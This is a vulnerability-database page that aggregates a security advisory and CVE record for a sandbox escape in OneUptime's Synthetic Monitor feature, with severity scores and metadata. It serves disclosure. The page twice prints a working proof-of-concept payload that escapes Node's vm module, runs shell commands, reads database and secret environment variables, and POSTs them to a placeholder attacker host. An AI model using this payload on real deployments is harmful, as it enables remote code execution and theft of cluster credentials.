Vulnerability-Lookup

GHSA-H343-GG57-2Q67

Vulnerability from github – Published: 2026-03-07 02:30 – Updated: 2026-03-10 18:44

Summary

OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE

Details

Summary

OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.

Details

The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():

const vmPromise = vm.runInContext(script, sandbox, { ... });

The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.

When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).

An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require child_process to execute arbitrary shell commands.

Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIME_SECRET, DATABASE_PASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.

PoC

This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.

Log In: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).
Navigate: Go to Monitors > Create New Monitor.
Monitor Type: Select Synthetic Monitor.
Browser/Screen Settings: Ensure Chromium is selected for "Browser Types" and Desktop is selected for "Screen Size Types".
Payload Injection: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload:

return new Promise((resolve) => {
    try {
        // 1. Traverse the prototype chain to grab the host's process object
        const proc = this.constructor.constructor('return process')();

        // 2. Load the host's child_process module & run a system command
        const cp = proc.mainModule.require('child_process');
        const output = cp.execSync('ls -la /usr/src/app').toString();

        // 3. (Optional) Read sensitive environment secrets
        const secret = proc.env.ONEUPTIME_SECRET;
        const db_pass = proc.env.DATABASE_PASSWORD;

        // 4. Exfiltrate the data via the native `http` module
        const http_real = proc.mainModule.require('http');
        const req = http_real.request({ 
            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', 
            port: 80, 
            path: '/', 
            method: 'POST' 
        }, (res) => {
            resolve("EXFILTRATION_STATUS: " + res.statusCode);
        });

        req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message));

        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });
        req.write(payloadData);
        req.end();
    } catch(e) {
        resolve("CRITICAL_ERROR: " + e.message);
    }
});

Save & Execute: Click Save. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.

OUTPUT:

{"rce_output":"total 296\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\n"}

Impact

What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.

Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.

Severity ?

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oneuptime/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-07T02:30:09Z",
    "nvd_published_at": "2026-03-10T17:40:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor(\u0027return process\u0027)();` to step out of the sandbox context and grab the host\u0027s native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** \u003e **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) =\u003e {\n    try {\n        // 1. Traverse the prototype chain to grab the host\u0027s process object\n        const proc = this.constructor.constructor(\u0027return process\u0027)();\n        \n        // 2. Load the host\u0027s child_process module \u0026 run a system command\n        const cp = proc.mainModule.require(\u0027child_process\u0027);\n        const output = cp.execSync(\u0027ls -la /usr/src/app\u0027).toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require(\u0027http\u0027);\n        const req = http_real.request({ \n            hostname: \u0027YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE\u0027, \n            port: 80, \n            path: \u0027/\u0027, \n            method: \u0027POST\u0027 \n        }, (res) =\u003e {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on(\u0027error\u0027, (e) =\u003e resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save \u0026 Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n\u003cimg width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" /\u003e\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version \u003c= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
  "id": "GHSA-h343-gg57-2q67",
  "modified": "2026-03-10T18:44:03Z",
  "published": "2026-03-07T02:30:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUpTime\u0027s Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE"
}

CVE-2026-30887 (GCVE-0-2026-30887)

Vulnerability from cvelistv5 – Published: 2026-03-09 22:40 – Updated: 2026-03-10 14:00

Title

OneUptime Affected by Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE

Summary

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.

Severity ?

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

URL

Tags

https://github.com/OneUptime/oneuptime/security/a…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	OneUptime	oneuptime	Affected: < 10.0.18

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-30887",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-10T14:00:41.087768Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-10T14:00:44.197Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "oneuptime",
          "vendor": "OneUptime",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.0.18"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
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              "lang": "en",
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            }
          ]
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      "providerMetadata": {
        "dateUpdated": "2026-03-09T22:40:04.425Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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          "tags": [
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      "source": {
        "advisory": "GHSA-h343-gg57-2q67",
        "discovery": "UNKNOWN"
      },
      "title": "OneUptime Affected by Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-30887",
    "datePublished": "2026-03-09T22:40:04.425Z",
    "dateReserved": "2026-03-06T00:04:56.700Z",
    "dateUpdated": "2026-03-10T14:00:44.197Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-H343-GG57-2Q67

Summary

Details

PoC

Impact

CVE-2026-30887 (GCVE-0-2026-30887)

Tags

Sightings

Nomenclature